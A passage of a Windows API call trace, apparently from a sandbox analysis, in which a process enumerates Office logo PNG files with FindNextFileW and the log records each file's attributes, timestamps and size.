ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-140.png", cAlternateFileName="EXCELL~3.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-180.png", cAlternateFileName="EX529E~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-80.png", cAlternateFileName="EXCELL~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x929, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-100.png", cAlternateFileName="EXCELL~4.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-140.png", cAlternateFileName="EXCELL~2.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-180.png", cAlternateFileName="EX5FD7~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x839, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-80.png", cAlternateFileName="EXDA38~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-100.png", cAlternateFileName="EX71FE~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-140.png", cAlternateFileName="EXCE73~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-180.png", cAlternateFileName="EX8CA4~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-80.png", cAlternateFileName="EX98BE~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x725, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-100.png", cAlternateFileName="EX82AE~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-140.png", cAlternateFileName="EXB07C~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-180.png", cAlternateFileName="EX0EF0~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-80.png", cAlternateFileName="EX8CE6~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-100.png", cAlternateFileName="EX3CF4~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x870, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-140.png", cAlternateFileName="EX3590~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-180.png", cAlternateFileName="EXE70C~1.PNG")) returned 1 [0102.384] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-80.png", cAlternateFileName="EX97E8~1.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-100.png", cAlternateFileName="FIRSTR~4.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-140.png", cAlternateFileName="FIRSTR~3.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa81, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-180.png", cAlternateFileName="FI9FD2~1.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-80.png", cAlternateFileName="FI357C~1.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-100.png", cAlternateFileName="FIRSTR~2.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-140.png", cAlternateFileName="FIRSTR~1.PNG")) returned 1 [0102.410] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-180.png", cAlternateFileName="FI8E23~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-80.png", cAlternateFileName="FI4144~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-100.png", cAlternateFileName="FI1EC9~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-140.png", cAlternateFileName="FIBF57~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-180.png", cAlternateFileName="FI9277~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-80.png", cAlternateFileName="FI8090~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-100.png", cAlternateFileName="FI5507~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-140.png", cAlternateFileName="FI782A~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-180.png", cAlternateFileName="FID9A4~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-80.png", cAlternateFileName="FI5606~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-100.png", cAlternateFileName="FID3BA~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-140.png", cAlternateFileName="FI1689~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-180.png", cAlternateFileName="FIB7A7~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-80.png", cAlternateFileName="FI5C4C~1.PNG")) returned 1 [0102.411] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-100.png", cAlternateFileName="FI2DF7~1.PNG")) returned 1 [0102.412] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-140.png", cAlternateFileName="FIFE2A~1.PNG")) returned 1 [0102.412] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-180.png", cAlternateFileName="FIA1A5~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x537, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-80.png", cAlternateFileName="FIED60~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-100.png", cAlternateFileName="GROOVE~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-140.png", cAlternateFileName="GROOVE~2.PNG")) returned 1 [0102.415] FindNextFileW (in: 